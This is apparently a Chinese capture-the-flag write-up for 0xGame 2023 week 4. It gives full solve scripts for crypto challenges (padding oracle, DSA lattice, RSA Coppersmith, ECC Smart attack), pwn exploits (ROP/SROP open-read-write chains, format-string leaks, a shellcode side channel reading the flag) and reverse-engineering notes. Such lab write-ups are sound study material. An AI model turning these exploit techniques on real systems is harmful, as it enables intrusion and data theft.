[0xGame 2023 公开赛道] week4 crypto/pwn/rev

最后一周结束了，难度也很大，已经超出我这认为的新生程度了。

crypto

Orac1e

先看题，题目先是给了加密过的flag然后提供不限次数的解密，不过仅提供解密后unpad的结果。

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from base64 import *
from Serve import *
from secret import flag


def pad(text):
    tmp = len(text)%16
    pad_num = 16 - tmp
    text += (pad_num)*bytes([pad_num])
    return text

def unpad(text):
    num = int(text[-1])
    if num == 0:return b'False'
    for i in range(1,num+1):
        if int(text[-i]) != num:
            return b'False'
    else:
        tmp = text[:-num]
        return b'Data update'

def encrypt(plain_text, key):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    cipher_text = cipher.encrypt(pad(plain_text))
    return iv + cipher_text

def decrypt(cipher_text, key):
    iv = cipher_text[:AES.block_size]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    tmp = cipher.decrypt(cipher_text[AES.block_size:])
    result = unpad(tmp)
    return result

iv = get_random_bytes(AES.block_size)
key = get_random_bytes(16)

class test(Task):
    def handle(self):
        if not self.proof_of_work():
            self.send(b'[!] Wrong!')
            return
        signal.signal(signal.SIGALRM, self.timeout_handler)
        signal.alarm(300)
        enc = encrypt(flag,key)
        self.send(b'Here are the secert:')
        self.send(b64encode(enc))
        self.send(b'May be you can send something to decrypt it?')
        while True:
            data = self.recv()
            try:
                self.send(decrypt(b64decode(data),key))
            except:
                self.send(b'invaild input')

if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10005
    server = ForkedServer((HOST, PORT), test)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

在块加密里一般都会使用pad对齐加密数据。方法一般是加n个凑足16，如果数据就是整16那就加16个chr(16)，unpad的方法相反。

这题只提供了unpad那就是肯定要用到padding-oracle了。

AES_CBC模式会使用前一块的密文与当前块明文异或，然后再加密。那么修改前一块的密文实际上相当于修改当前块的明文。如果上传两块的话就是调整IV值。

先从尾字节开始，用密文-2段作IV，-1段密文，这时解密后当然成功，但当给IV异或1时相当于明文异或1，比方说明文尾部差两字节，pad了\x02\x02当给IV异或1后尾部变为\x02\x03这样在unpad时发再尾就不是3个\x03就会报错。所以从1开始向上修改尾字节。当尾部变为\x01时不发生报错，如果是1-16都试了都报错那尾部pad就是1。

当得到真实的pad后修改明文让它pad增加1位，比如由X\x02\x02改为X\x03\x03，这时候不断修改-3位的值，直到不报错，那这时候的明文就是\x03\x03\x03通过比较原值与异或后的值可以得到最后一个字符的值。

from pwn import *
from base64 import b64decode 
from hashlib import sha256
from itertools import product 
import string 

p = remote('43.139.107.237', 10005)
context.log_level = 'error'

#proof
def proof():
    #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
    p.recvuntil(b'sha256(XXXX+')
    tail = p.recvuntil(b') == ', drop=True)
    s256 = p.recvline().strip().decode()
    print(tail, s256)
    
    s = string.ascii_letters+string.digits
    for i,j,k,l in product(s, repeat=4):
        v = (i+j+k+l).encode()
        #print(v)
        if sha256(v+tail).hexdigest() == s256:
            p.sendlineafter(b'[+] Plz tell me XXXX: ', v)
            break 

proof()


#取密文
p.recvuntil(b'Here are the secert:\n')
enc = b64decode(p.recvline().strip().decode())
print('enc:', enc.hex())

p.recvline() #(b'May be you can send something to decrypt it?\n')


#先爆破尾字节,看padding的长度 对前一断尾字节异或,当明文尾为\x01是unpad通过
def decrypt(msg):
    p.sendlineafter(b'> ', b64encode(msg))
    return p.recvline()

cs = [enc[i:i+16] for i in range(0,len(enc),16)]
print(cs)

iv,cipher = cs[-2],cs[-1]
for i in range(1,256):
    tiv = iv[:15] + bytes([iv[15]^i])
    msg = decrypt(tiv+cipher)
    if b'Data ' in msg:
        print('x:',i^1)
        padlen = i^1
        break 

def get_v(iv,cipher, padlen):
    plain = [0]*(16-padlen) + [padlen]*padlen 
    for i in range(16-padlen):
        pad_v = padlen + 1 + i #尾部需要pad的值
        pad_s = 16 - pad_v #爆破的位置
        pad_n = [0]*(16-pad_v) + [pad_v]*pad_v 
        for j in b'0123456789abcdef{}-xGm':
            plain[pad_s] = j 
            msg = decrypt(xor(bytes(plain),bytes(pad_n),iv)+cipher)
            if b'Data' in msg:
                print('x:', bytes(plain))
                break
    print(bytes(plain))
    return bytes(plain)
    
flag = get_v(iv,cipher, padlen)
cs.pop()
while len(cs)>=2:
    iv,cipher = cs[-2],cs[-1]
    flag = get_v(iv,cipher,0) + flag
    cs.pop()

print(flag)

LLL-Third Blood

这是个DSA签名的题，主程序提供签名，验签和验admin签给flag功能

    def handle(self):
        signal.signal(signal.SIGALRM, self.timeout_handler)
        signal.alarm(300)
        if not self.proof_of_work():
            self.send(b'[!] Wrong!')
            return
        self.send(MENU.encode())
        self.send(b'Here are your public key:')
        self.send(f'q={GAME.q}\np={GAME.p}\ng={GAME.g}\ny={GAME.y}'.encode())
        while True:
            self.send(b'What you want to choice?')
            code = self.recv()
            
            if code == b'S':
                self.send(b'What you want to sign?')
                msg = self.recv()
                if msg == b'admin':
                    self.send(b'Permission denied!')
                    self.send(b'Are you trying hack me?No way!')
                    quit()
                self.send(b'Here are your signature:')
                s,r = GAME.sign(msg)
                self.send(f's = {s}'.encode())
                self.send(f'r = {r}'.encode())

            elif code == b'V':
                self.send(b"Let's check your signature.")
                self.send(b'Tell me your message:')
                msg = self.recv()
                self.send(b'Tell me the signature (s,r):')
                s = int(self.recv())
                r = int(self.recv())
                if GAME.verify(msg,s,r):
                    self.send(b'OK,it work')
                else:
                    self.send(b'Something wrong?')

            elif code == b'C':
                self.send(b"Tell me the signature of 'admin'")
                s = int(self.recv())
                r = int(self.recv())
                if GAME.verify(b'admin',s,r):
                    self.send(b'Congratulations!You are Master of Cryptography!')
                    self.send(b'Here are your flag:')
                    self.send(flag)
                    quit()
                else:
                    self.send(b'It seems Something wrong?')
            else:
                self.send(b'invaild input')

DSA签名部分是比较正确的签名

r = g^k mod q （k是随机变量）

s = k^-1 *(H(m)+r*x) mod q 求x H采用的是sha1

from Crypto.Util.number import *
from random import getrandbits,randint
from hashlib import sha1
from secret import pri_key

class DSA:
    def __init__(self):
        self.q = getPrime(160)
        while True:
            tmp = self.q*getrandbits(864)
            if isPrime(tmp+1):
                self.p = tmp+1
                break
        self.x = pri_key
        assert self.p%self.q == 1
        h = randint(1,self.p-1)
        self.g = pow(h,(self.p-1)//self.q,self.p)
        self.y = pow(self.g,self.x,self.p)

    def sign(self,m):
        H = bytes_to_long(sha1(m).digest())
        k = getrandbits(128)
        r = pow(self.g,k,self.p)%self.q
        s = (inverse(k,self.q)*(H+r*self.x))%self.q
        return (s,r)

    def verify(self,m,s_,r_):
        H = bytes_to_long(sha1(m).digest())
        u1 = (inverse(s_,self.q)*H)%self.q
        u2 = (inverse(s_,self.q)*r_)%self.q
        r = (pow(self.g,u1,self.p)*pow(self.y,u2,self.p))%self.p%self.q
        if r == r_:
            return True
        else:
            return False

 这和正常的DSA签名没什么不同，只是k使用的random取的值，这个值有些问题但是不大，因为取不到这个值。最大的问题是x的值很小（这个题目没说，但如果太大可能还真弄不出来）

解法就是造一个格，然后规约,这是K是128位，q是160位，K/q这项就直接填1了，得到x以后随便整个r签个s就行了。

from hashlib import sha1,sha256
from Crypto.Util.number import *
from random import getrandbits,randint
from itertools import product as iproduct
from sage.all import *
from pwn import *

def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.ascii_letters+string.digits
    for i,j,k,l in iproduct(table, repeat=4):
        v = (i+j+k+l).encode()
        if sha256((v+tail)).hexdigest() == s256:
            print('found:',v)
            return v

def get_sign(msg):
    io.sendlineafter(b'> ', b'S')
    io.sendlineafter(b'> ', msg)
    io.recvuntil(b's = ')
    s = int(io.recvline().strip())
    io.recvuntil(b'r = ')
    r = int(io.recvline().strip())
    return s,r

def sign(m,x):
    H = bytes_to_long(sha1(m).digest())
    k = 1
    r = int(g%q)
    s = (inverse_mod(k,q)*(H+r*x))%q
    return (s,r)

io = remote('43.139.107.237', 10004)
context.log_level = 'debug'

#proof
io.recvuntil(b'[+] sha256(XXXX+')
tail = io.recvuntil(b') == ', drop=True)
s256 = io.recvline().strip().decode()
print(tail, s256)
head = proof_of_work_2(tail, s256)
io.sendlineafter(b'[+] Plz tell me XXXX: ', head)
io.recvuntil(b'Here are your public key:\n')
#q p g y
q = int(io.recvline().split(b'=')[1])
p = int(io.recvline().split(b'=')[1])
g = int(io.recvline().split(b'=')[1])
y = int(io.recvline().split(b'=')[1])
print(q,p,g,y)

#1, 获取40个
H = bytes_to_long(sha1(b'0').digest())
A = []
B = []
for i in range(40):
    s,r = get_sign(b'0')
    A.append(inverse_mod(s,q)*r%q)
    B.append(inverse_mod(s,q)*H%q)


M = matrix(ZZ, 42,42)
for i in range(40):
    M[i,i] = q 
    M[-2,i] = A[i]
    M[-1,i] = B[i]

M[-2,-2] = 1 #K/q 
M[-1,-1] = 2^128 

v = M.LLL()
x = int(v[0][-2])
print('x:', x)
s,r = sign(b'admin', x)

io.sendlineafter(b'> ', b'C')
io.sendlineafter(b'> ', str(s).encode())
io.sendlineafter(b'> ', str(r).encode())

io.interactive()

Danger Leak

题目又回到RSA上，在一个标准的RSA上，泄露了一个M ：d = M*d1 + d0

from random import *
from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
while True:
    M = getrandbits(954)
    d0 = getrandbits(70)
    d1 = getrandbits(60)
    d = M * d1 + d0
    e = inverse(d, (p - 1) * (q - 1))
    if GCD(d,phi) == 1:
    	break


c = pow(m,e,n)
print(f'n = {n}')
print(f'e = {e}', )
print(f'c = {c}')
print(f'leak={M}')

这里既然M和d有关就推一下d

ed = 1 mod phi =>  e*(d1*M+d0) = 1 + k(n-p-q+1) 

整理一下

e*d1*M + e*d0 - kn +k(p+q-1) -1 == 0 

对式取e*M模

e*d0 - kn + k(p+q-1) -1 = 0 mod e*M 

然后对参数换一下变成比较标准的形式

e*x - y*n +y*z - 1 == 0 mod e*M 

x = d0; y=k;z=p+q-1

这里x,z的界是已知的，y的界需要确定，根据第1个展开式y

然后用多元coppersmith方法求出x,y,z,这里由于z=p+q-1所以n-z = phi也就能直接求解了。

n = 20890649807098098590988367504589884104169882461137822700915421138825243082401073285651688396365119177048314378342335630003758801918471770067256781032441408755600222443136442802834673033726750262792591713729454359321085776245901507024843351032181392621160709321235730377105858928038429561563451212831555362084799868396816620900530821649927143675042508754145300235707164480595867159183020730488244523890377494200551982732673420463610420046405496222143863293721127847196315699011480407859245602878759192763358027712666490436877309958694930300881154144262012786388678170041827603485103596258722151867033618346180314221757
e = 18495624691004329345494739768139119654869294781001439503228375675656780205533832088551925603457913375965236666248560110824522816405784593622489392063569693980307711273262046178522155150057918004670062638133229511441378857067441808814663979656329118576174389773223672078570346056569568769586136333878585184495900769610485682523713035338815180355226296627023856218662677851691200400870086661825318662718172322697239597148304400050201201957491047654347222946693457784950694119128957010938708457194638164370689969395914866589468077447411160531995194740413950928085824985317114393591961698215667749937880023984967171867149
c = 7268748311489430996649583334296342239120976535969890151640528281264037345919563247744198340847622671332165540273927079037288463501586895675652397791211130033797562320858177249657627485568147343368981852295435358970875375601525013288259717232106253656041724174637307915021524904526849025976062174351360431089505898256673035060020871892556020429754849084448428394307414301376699983203262072041951835713075509402291301281337658567437075609144913905526625759374465018684092236818174282777215336979886495053619105951835282087487201593981164477120073864259644978940192351781270609702595767362731320959397657161384681459323
M =136607909840146555806361156873618892240715868885574369629522914036807393164542930308166609104735002945881388216362007941213298888307579692272865700211608126496105057113506756857793463197250909161173116422723246662094695586716106972298428164926993995948528941241037242367190042120886133717



def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []


'''
d = M*d1 + d0 
由于 e*d = 1 mod phi => e*d = 1 + k(n -p-q+1)
e*M*d1 + e*d0 == 1 + k*n - k*(p+q-1)
以e*M为模设参数
e*d0 - k*n + k*(p+q-1) - 1 = o mod e*M 
  ^    ^     ^    ^
  x    y     y    z 
=> e*x -y*n + y*z - 1 == 0 mod e*M 用三元coppersmith求解(函数同二元)
计算x,y,z的界
y < e*M*d1 // n 
'''
y = (2*e*M*2^60)//n
#print(y.nbits()) 1015 确定y的界
bounds = (1<<70, 1<<1015, 1<<1024)

R = Integers(M*e)
P. = PolynomialRing(R)
f = e*x - n*y + y*z - 1
res = small_roots(f, bounds, 3,3)[0]
p_q_1 = int(res[2])  #p+q-1
phi = n- p_q_1 
d = inverse_mod(e,phi)
m = pow(c,d,n)
flag = bytes.fromhex(hex(m)[2:])
print(flag)
#0xGame{a9e1f260f845be84f56ff06b165deb80}

Normal ECC

一个椭圆曲线减法的题，前两天刚作了一个，这几个新生赛，好多东西是重的，你打了这个比赛那个比赛的题就能秒。

题目给了一条曲线，基点G，K = r*G 其中r未知并给出C1 = M + r*K ;C2 = r*G并给了个提示E.order()==p

椭圆曲线题一般有两种算法，不过Smart算法并不常见，因为很难见着一个秩和模相同的题，这样似乎过于简单了。

from Crypto.Util.number import getPrime
from Crypto.Cipher import AES
from random import getrandbits
from hashlib import md5
from secret import flag,M

def MD5(m):return md5(str(m).encode()).hexdigest()
assert '0xGame{'+MD5(M[0])+'}' == flag
p = 11093300438765357787693823122068501933326829181518693650897090781749379503427651954028543076247583697669597230934286751428880673539155279232304301123931419
a = 490963434153515882934487973185142842357175523008183292296815140698999054658777820556076794490414610737654365807063916602037816955706321036900113929329671
b = 7668542654793784988436499086739239442915170287346121645884096222948338279165302213440060079141960679678526016348025029558335977042712382611197995002316466
assert p>a
assert p>b
E = EllipticCurve(GF(p),[a,b])
assert E.order() == p
M = E(M)

G = E.random_point()
k = getPrime(int(128))
K = k*G
r = getrandbits(64)

C1 = M + r*K
C2 = r*G

print(f'p={p}\na={a}\nb={b}')
print(f'G={G.xy()}')
print(f'K={K.xy()}')
print(f'C1={C1.xy()}')
print(f'C2={C2.xy()}')

从C2和G可以求出r然后得到r*K，不过这有个小坑，前两天作了，对于阿贝尔群C = A+B你不能直接用C-A来求B,需要C+(-A)这个-A就是A点对x轴的对称点也就是y取反

from hashlib import md5
def MD5(m):return md5(str(m).encode()).hexdigest()

p=11093300438765357787693823122068501933326829181518693650897090781749379503427651954028543076247583697669597230934286751428880673539155279232304301123931419
a=490963434153515882934487973185142842357175523008183292296815140698999054658777820556076794490414610737654365807063916602037816955706321036900113929329671
b=7668542654793784988436499086739239442915170287346121645884096222948338279165302213440060079141960679678526016348025029558335977042712382611197995002316466
G=(4045939664332192284605924284905750194599514115248885617006435833400516258314135019849306107002566248677228498859069119557284134574413164612914441502516162, 2847794627838984866808853730797794758944159239755903652092146137932959816137006954045318821531984715562135134681256836794735388745354065994745661832926404)
K=(9857925495630886472871072848615069766635115253576843197716242339068269151167072057478472997523547299286363591371734837904400286993818976404285783613138603, 9981865329938877904579306200429599690480093951555010258809210740458120586507638100468722807717390033784290215217185921690103757911870933497240578867679716)
C1=(4349662787973529188741615503085571493571434812105745603868205005885464592782536198234863020839759214118594741734453731681116610298272107088387481605173124, 10835708302355425798729392993451337162773253000440566333611610633234929294159743316615308778168947697567386109223430056006489876900001115634567822674333770)
C2=(5193866657417498376737132473732737330916570240569047910293144235752602489388092937375844109374780050061859498276712695321973801207620914447727053101524592, 684299154840371832195648774293174908478389728255128448106858267664482339440737099810868633906297465450436417091302739473407943955874648486647511119341978)

E = EllipticCurve(GF(p),[a,b])
G = E(G)
K = E(K)
C1 = E(C1)
C2 = E(C2)
#求r
#E_order == p

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)
#C2 = r*G
r = SmartAttack(G,C2,p)

#C1 = M + r*K
rK = r*K 
x,y = rK.xy()
rK_ = E((x,-y))
M = C1 + rK_

'0xGame{'+MD5( M.xy()[0] )+'}'

#0xGame{6f2b3accf11a8cb7a9d3c7b159bc6c6c}

pwn 

SROP

这题说难不难，不过卡了很久，因为一个小坑。

程序只有一个read，显然是溢出，不过名字叫srop显然是要用srop可几乎给了所有的gadget pop rdi;pop rsi;pop rax;syscall ret;全有。全有谁还用srop多麻烦直接orw不好吗。不过一直打不通 。后来跟的时候发现问题不在这，在于平常为了读入方便避免两次读被合并，一般填充到读的长度。过这题用的syscall并不会读到2304，经测试差了0x34c，于是就好办了

from pwn import *

#p = process('./srop')
p = remote('8.130.35.16', 53002)
context(arch='amd64', log_level='debug')

elf = ELF('./srop')
libc = ELF('./libc-2.31.so')

pop_rdi = 0x0000000000401443 # pop rdi ; ret
pop_rsi = 0x0000000000401441 # pop rsi ; pop r15 ; ret
pop_rbp = 0x000000000040138d # pop rax ; ret
pop_rax = 0x000000000040138a # pop rax ; ret
syscall = 0x401385 #syscall ret
leave_ret = 0x4013d4

bss = 0x404200
pay = b'\x00'*0x8 + flat([bss, pop_rdi, 0,     pop_rsi,bss,0,       pop_rax,0, syscall, 
                               pop_rdi, bss,   pop_rsi,0,0,         pop_rax,2, syscall, 
                               pop_rdi, 3,     pop_rsi,bss,0,       pop_rax,0, syscall,
                               pop_rdi, 1,     pop_rsi,bss,0,       pop_rax,1, syscall
                        ])
p.send(pay.ljust(0x900-0x34c, b'A') + b'/flag\x00')   #实际读入时，比0x900少0x34c 可以分两次写中间sleep(0.2)
p.interactive()

结束了

元素比较全有沙箱，有canary，有printf，有短溢出

思路比较简单，先printf得到想要的地址，然后溢出移栈执行前部的ROP，作个ORW绕过sandbox就行了

from pwn import *

#p = process('./ret2libc-revenge')
p = remote('8.130.35.16', 53004)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x5555555554bc\nc')

libc = ELF('./libc.so.6')

p.sendafter(b"First give me your name:\n", b'%13$p%15$p%12$p,')
print(p.recvuntil(b'0x'))

canary = int(p.recvuntil(b'0x', drop=True),16)
libc.address = int(p.recvuntil(b'0x', drop=True),16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0x100 - 0x30
print(f"{canary= :x} {stack = :x} {libc.address = :x}")

pop_rdi = next(libc.search(asm('pop rdi;ret')))
pop_rsi = next(libc.search(asm('pop rsi;ret')))
pop_rdx = libc.address + 0x142c92 #next(libc.search(asm('pop rdx;ret')))
leave_ret = next(libc.search(asm('leave;ret')))

pay = flat(pop_rdi, 0, pop_rsi, stack+0x30, pop_rdx, 0x100,libc.sym['read'], canary, stack-8, leave_ret)
p.sendafter(b"A good name! Then give me your intro:\n", pay)

pay = flat([b'/flag'.ljust(8, b'\x00'), pop_rdi, stack+0x30, pop_rsi,0, libc.sym['open'],
           pop_rdi, 3, pop_rsi, stack+0x200, pop_rdx, 0x50, libc.sym['read'],
           pop_rdi, 1, pop_rsi, stack+0x200, pop_rdx, 0x50, libc.sym['write']
      ])

p.send(pay)

p.interactive()

 这里有个小坑，由于动态加载pop rdx要从libc里找，而用libc.search找到的似乎不能用，可以用rop_gadget找然后写上相对地址。

爱你在心口难开

这题不知道是不是非预期了，总之弄得很麻烦

一个orw的题，不过没给文件名。

可以读入10个字节，然后去执行。10个字节可以利用残留的寄存器实现一个read，也就够了。然后在ORloop进行侧信道攻击。另一人比赛是没告诉文件名，用getdents也是这个侧信道攻击，显然比这个麻烦1倍要先爆破文件名。这题直接利用那个程序。几乎没改。

这种侧信道不太侧，是比较正的方式，把flag读入内存，然后判断是不是指定值，如果不是就退出，是就进入死循环。这样就可以判断是不是那个字符。 当然可以用二分法，写代码的时间会长点，运行时间会短点。

from pwn import *

context(arch='amd64', log_level='error')

def read_v(offset, v):
    p = remote('8.130.35.16', 54000)
    #p = process('./lenlim')
    #读文件
    pay2 = shellcraft.open('flag')+shellcraft.read('rax',target,0x40)
    pay2 += f'lab: mov rax, 0x{offset:x};mov cl,byte ptr [rax]; cmp cl, {v}; je lab;' + shellcraft.exit(0)
    s2 = b'\x90'*0x10+asm(pay2)
    pay = "xor edi,edi;push rdx;pop rsi;syscall;"
    p.sendafter(b"Now show me your code:\n", asm(pay).ljust(0x10, b'\x90')+s2)
    p.recvline()
    #pause()
    try:
        p.recv(timeout=0.3)
        p.close()
        #p.interactive()
        return True
    except:
        p.close()
        return False
 
target = 0x20230200 #写目录和文件
name = 'flag'

dic = b'0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}' 
name = '0xGame{'
for _ in range(50):
    for i in dic:
        if read_v(target+len(name), i):
            name += chr(i)
            print('name:',name)
            break
        else:
            print(chr(i), end=' ')
        #break
    #break

SROP-revenge

这个题是上个SROP的补漏版。因为上题没有人用SROP。题目基本一样就是init那块的ppp6去掉了，这样就没有错位形成的pop rdi;pop rsi了。回到srop上

srop就是用sigreturn恢复现场的方法填充寄存器也就是执行syscall 15后边跟一堆寄存器值，填充以后就会到新的rip位置执行了。

非让用srop那就orw全用

from pwn import *

#p = process('./srop-revenge')
p = remote('8.130.35.16', 55003)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x4013d4\nc')

elf = ELF('./srop-revenge')

set_rax = 0x40138e #push 0xf; pop rax ; ret
syscall = 0x40138b #syscall ret

#题目没有/bin/sh 先通过移栈，让payload可以带/bin/sh 
bss = 0x404200
pay = b'\x00'*0x8 + flat(bss, 0x4013b5)
p.send(pay)
sleep(0.5)

#题目没有syscall;ret 调用plt.syscall会进制寄存器前移 rax<-rdi<-rsi<-rdx<-rcx; r10<-r8<-r9<-[rsp+8] 
#这个题给了syscall;ret 
frame1 = SigreturnFrame()
frame1.rax = 2
frame1.rdi = bss-8
frame1.rsi = 0
frame1.rsp = bss + 0x110  #rsp跳到下一块继续执行
frame1.rip = syscall

frame2 = SigreturnFrame()
frame2.rax = 0
frame2.rdi = 3
frame2.rsi = bss+0x400
frame2.rdx = 0x40
frame2.rsp = bss + 0x218  
frame2.rip = syscall

frame3 = SigreturnFrame()
frame3.rax = 1
frame3.rdi = 1
frame3.rsi = bss + 0x400
frame3.rdx = 0x40
frame3.rsp = bss + 0x320 
frame3.rip = syscall

pay = b'flag'.ljust(8, b'\x00') + flat(0x404200, set_rax, syscall, frame1, set_rax, syscall, frame2, set_rax, syscall, frame3)
p.send(pay)
#p.recvline()
p.interactive()

rev

序列9-二进制学徒

不知道为啥最后一周还放这个东西

序列8-代码悟道者

第二题同理，可以看到变表的base64和表，不过厨子不喜欢-_但密文里也没出现，直接换正常的+/就行

序列7-指令神使

直接给了密文，加密方法一看便知ROT13

__int64 __fastcall sub_140001118(_BYTE *a1)
{
  _BYTE *v1; // r8
  __int64 result; // rax
  int v3; // ecx

  v1 = a1;
  LOBYTE(a1) = *a1;
  while ( (_BYTE)a1 )
  {
    result = (unsigned int)((_DWORD)a1 - 97);
    if ( (unsigned __int8)((_BYTE)a1 - 97) <= 0x19u )
    {
      v3 = (char)a1 - 84;
      result = (unsigned int)(26 * (v3 / 26));
      LODWORD(a1) = v3 % 26;
      *v1 = (_BYTE)a1 + 97;
    }
    LOBYTE(a1) = *++v1;
  }
  return result;
}

序列6-内存星旅者 

问了下别人终于解决了，在代码中发现他会删文件

在删文件前下断点，从指定目录里拿到文件  

这文件是个乱码（一开始的附件只有几个字节，显然不正确，刚发现改附件了。应该是那个附件在我机子上运行不正确，其它的环境可能不影响，我这win11太可怕了），在主程序第1个函数判断里有个a1 == 0x1CF410 应该是运行参数

 

看着乱码乱得很有规律，用这个数去异或

from pwn import xor,p32 
key = 0x1CF410
data = open('flag.txt','rb').read()

key = p32(key)
print(xor(data[7:-1],key))

#b'd5db2892-a47f-0c87-0b62-5723c9e1c2b9'


#在B55下断点 deletefile前，从c:\user\xxx\appdata\temp\flag 取到文件
#main 0x9a7 处   if ( *a3 == 0x1CF410 ) 取出key

 

序列5-算法祭司

.net写的程序用dnSpy打开看到源码

// 算法祭司.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
	string encryptedKey = Resource1.encryptedKey;
	StringBuilder stringBuilder = new StringBuilder();
	foreach (char c in encryptedKey)
	{
		stringBuilder.Append(c ^ 'f');
	}
	string s = stringBuilder.ToString();
	Console.WriteLine("请输入正确的咒语：");
	string s2 = Console.ReadLine();
	using (DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider())
	{
		descryptoServiceProvider.Key = Encoding.UTF8.GetBytes(s);
		descryptoServiceProvider.IV = Encoding.UTF8.GetBytes(encryptedKey);
		byte[] bytes = Encoding.UTF8.GetBytes(s2);
		string a = Convert.ToBase64String(descryptoServiceProvider.CreateEncryptor().TransformFinalBlock(bytes, 0, bytes.Length));
		string b = "s7/e+JnJbGEdE9j2g3XHxgym+G6Fu/PjJuW80NeMKgemdqaWG9KVM8Tfcc0eRfaA";
		if (a == b)
		{
			Console.WriteLine("恭喜，你成功了！");
		}
		else
		{
			Console.WriteLine("哦不，你的输入并不正确~");
		}
	}
	Console.WriteLine("请按任意键退出...");
	Console.ReadKey();
}

他调用了标准库里的des和base64其中密钥是和f异或的结果在资源里找到密钥

#DES+base64
key = xor(b'f', b"STV>!'+#")
iv = b"STV>!'+#"
enc = "s7/e+JnJbGEdE9j2g3XHxgym+G6Fu/PjJuW80NeMKgemdqaWG9KVM8Tfcc0eRfaA"

然后拿个软件解密就行，因为是标准库不用写代码。